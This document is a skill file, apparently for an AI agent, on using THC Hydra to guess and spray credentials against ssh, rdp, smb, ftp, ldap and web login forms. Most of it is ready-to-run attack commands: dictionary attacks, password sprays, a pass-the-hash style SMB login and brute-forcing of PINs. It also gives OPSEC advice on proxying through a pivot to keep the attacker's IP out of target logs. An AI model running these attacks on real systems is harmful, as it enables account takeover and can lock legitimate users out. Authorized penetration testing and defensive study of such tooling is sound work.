hydra
Guess and spray credentials online with THC Hydra across ssh, rdp, smb, ftp, ldap2 and http forms, with thread limits that respect lockout policy. Use when you have users, a candidate password list an
SKILL.mdskills/hydra/SKILL.md
GitHubHydra
Hydra is a parallel, protocol-aware login guesser. Each module speaks the real service handshake, so a hit is a working credential rather than a string match. The risk profile is the opposite of an offline cracker: every attempt is an authentication event on the target, and account lockout is a real, irreversible failure.
This host runs Hydra v9.5 with protocol modules smb2, afp, ncp, oracle and sapr3 not compiled in. smb is present and does NTLM; use it, not smb2.
When to use
| Service | Module | Optional argument |
|---|---|---|
| Linux/Unix shell | ssh |
none |
| Windows remote desktop | rdp |
domain as URL path |
| Windows file sharing | smb |
-m "local lmv2" or hash mode |
| FTP | ftp |
none |
| Web login form (POST) | http-post-form |
URL, body, condition |
| HTTP basic auth | http-get |
URL and path |
| Directory service | ldap2 |
bind DN as URL path |
| Mail, DB, VNC, SNMP | smtp, mysql, vnc, snmp |
see -U <module> |
For anything Kerberos-aware (user enumeration without lockout, AS-REP roasting) use kerbrute or NetExec instead. For hashes you already hold, crack offline with john.
Prerequisites
hydra -hprintsHydra v9.5. Binary at/usr/bin/hydra.- Valid usernames. A spray against a guessed user list wastes the lockout budget; enumerate first.
-U <module>before every new module: it prints the module's optional parameters, which differ wildly.- Wordlists at
/opt/wordlists:users-top.txt,pass-top1m.txt,rockyou.txt,pass-1050.txt. - Know the lockout policy (
nxc smb <dc> -u u -p p --pass-pol) before sending the first attempt.
Core invocations
# 1. Straight dictionary attack, one user against a known list
hydra -l alice -P /opt/wordlists/pass-1050.txt ssh://10.0.0.20 -t 4
# 2. Spray: one password across many users, low thread count
hydra -L /opt/wordlists/users-top.txt -p 'Spring2026!' ssh://10.0.0.20 -t 2 -o spray.txt
# 3. Cheap wins first: null password, login-as-password, reversed login
hydra -l alice -e nsr ssh://10.0.0.20
# 4. FTP with a single password and a user list
hydra -L users.txt -p 'ftp' ftp://10.0.0.50
# 5. RDP, with the Windows domain appended to the URL path
hydra -L users.txt -p 'Welcome1' rdp://10.0.0.30/corp
# 6. SMB local account test with NTLMv2 (module default is local + domain)
hydra -l administrator -p 'P@ssw0rd' smb://10.0.0.30 -m "local lmv2"
# 7. SMB pass-the-hash style: LM:NT in the password field
hydra -l administrator -p 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0' smb://10.0.0.30 -m "local hash"
# 8. Web form POST: ^USER^ and ^PASS^ are placeholders, F= is the failure string
hydra -l admin -P /opt/wordlists/pass-1050.txt 10.0.0.60 http-post-form \
'/login:username=^USER^&password=^PASS^:F=Invalid credentials'
# 9. Same form but keyed on success instead of failure
hydra -l admin -P pass.txt 10.0.0.60 http-post-form \
'/login:user=^USER^&pass=^PASS^:S=Sign out'
# 10. HTTP basic auth
hydra -L users.txt -P /opt/wordlists/pass-1050.txt 10.0.0.60 http-get /admin/
# 11. LDAP simple bind, DN as the URL path with ^USER^ substituted
hydra -L users.txt -p 'Summer2026!' ldap2://10.0.0.10/cn=^USER^,cn=users,dc=corp,dc=local
# 12. Several hosts at once, global parallelism cap
hydra -L users.txt -p 'Spring2026!' -M hosts.txt -T 8 ssh
# 13. Brute force a short numeric PIN (not for real passwords)
hydra -l admin -x 4:4:1 10.0.0.70 http-post-form '/pin:pin=^PASS^:F=wrong'
# 14. Machine-readable results plus a strict wait between attempts
hydra -L users.txt -P pass.txt rdp://10.0.0.30 -o hits.json -b json -W 3 -t 1
# 15. Resume an aborted run instead of restarting the whole list
hydra -R
Flags that matter
| Flag | Effect | Note |
|---|---|---|
-l / -L |
single login / login file | file must be one name per line |
-p / -P |
single password / password file | spray mode is one -p with many -L |
-C |
combined login:pass file |
replaces -L/-P |
-t N |
parallel connects per target, default 16 | lower to 2-4 on AD |
-T N |
parallel connects overall with -M, default 64 |
total budget across hosts |
-s PORT |
non-default port | required when the service is moved |
-S |
SSL connect | for HTTPS and implicit TLS services |
-f / -F |
stop at first hit, per host / globally | omit when spraying, you want all hits |
-e nsr |
try null, login-as-password, reversed | one pass, no wordlist |
-u |
loop users instead of passwords | matches spray thinking |
-x MIN:MAX:CHARSET |
generated passwords, a lower, A upper, 1 digits |
brute force only; loud |
-m OPT |
module options | see -U <module> |
-o FILE / -b FORMAT |
write results, text/json/jsonv1 | evidence trail |
-w / -W |
response timeout / wait between connects | -W is your only politeness control |
-I / -R |
ignore restore file / restore it | hydra.restore in the cwd |
-K |
do not redo attempts already failed | mass-scan efficiency |
-V / -v / -d |
show attempt / verbose / debug | -d prints raw request and response |
-4 / -6 |
IPv4 / IPv6 | IPv6 needs [] around addresses |
Workflow
- Enumerate users first. Spraying against guesses burns lockout budget on accounts that do not exist.
- Read the lockout policy and the logon-hours window. If threshold is 5, plan at most 2-3 attempts per account per window.
- Get the module's parameters with
hydra -U <module>; the URL path and-msemantics are module-specific. - Test the mechanism on one account you own or a known-bad credential, and confirm the failure message (
-dshows it). - Spray one good password across the user list with
-t 2,-W 1. For forms, verify the failure string first to avoid false positives. - Collect hits with
-oand-b json, then validate them in a tool that reports real access (nxc smb,ssh) rather than trusting hydra's socket. - Escalate: new credential -> reproduce on other hosts -> look for reuse across the estate.
- Stop and reassess if the target starts returning lockouts; hydra cannot see that, only the SOC can.
OPSEC and telemetry
- Every attempt is a real login. Windows logs 4625 per failure and 4624 per success; Linux writes
Failed passwordto auth.log; SSH may add fail2ban bans after a handful of tries. - Thread count is the loudest variable. Default
-t 16against AD will lock accounts before it finds anything. - Lockout is irreversible within the window: a bad spray can deny service to real users and is an incident on its own.
http-post-formfalse positives come from guessing the failure string wrong;-dand a single manual request settle it.- Hydra identifies itself in some protocols;
-qhides connection errors, not the attempts. - Proxying is possible via
HYDRA_PROXY/HYDRA_PROXY_HTTP(socks5://, http://, or a file of up to 64 proxies). Chaining through a pivot keeps your IP out of the target logs but does not reduce the event count. - Results files (
-o,hydra.restore) contain plaintext credentials and pending state in the working directory.
Failure modes
| Symptom | Cause | Fix |
|---|---|---|
| Module refuses to start | service not compiled in (smb2, oracle, sapr3, afp, ncp) | use smb, or a different tool (NetExec for SMB2 features) |
| Every attempt fails with an auth-method error | service uses keys or MFA | stop; try ssh keys or a session hijack instead |
Every attempt fails with connect error |
wrong port or TLS required | add -s PORT / -S, confirm with nmap -p |
| All combinations report success | wrong F= failure string |
fix the condition string, add S= for a positive match |
| 0 valid passwords after a few attempts | accounts locked by policy | wait out the window, lower -t, coordinate |
| Runs die mid-way with child/connection errors | target rate-limited or service crashed | reduce -t, add -W, verify the service is still up |
hydra.restore already exists |
previous run left state | -I to ignore or -R to resume deliberately |
| RDP hits nothing but manual login works | domain or NLA mismatch | append /domain to the URL, confirm NLA is on |
| SMB auth fails with valid credentials | wrong dialect | -m "local lmv2" or -m "local ntlm" |
Verification
hydra -h | head -3 # expect: Hydra v9.5
hydra -h | grep -o "Supported services:.*" # confirm smb, rdp, ldap2, http-post-form are listed
hydra -U smb | tail -8 # expect: module help with local/hash dialect notes
hydra -U http-post-form | tail -12 # expect: syntax and F=/S= condition explanation
hydra -U whatever 2>&1 | tail -2 # expect: generic text; -U cannot prove a module is compiled
Evidence to keep for each run: the exact command, target list, thread count, -o output file and the corresponding authentication events on the target.
Related skills
- netexec for validated spraying with
--continue-on-successand--pass-pol - kerbrute for user enumeration without lockout risk
- john once you have hashes instead of a live service
- metasploit for auxiliary login scanners and stored credentials
- toolchain-router to confirm online guessing is the right move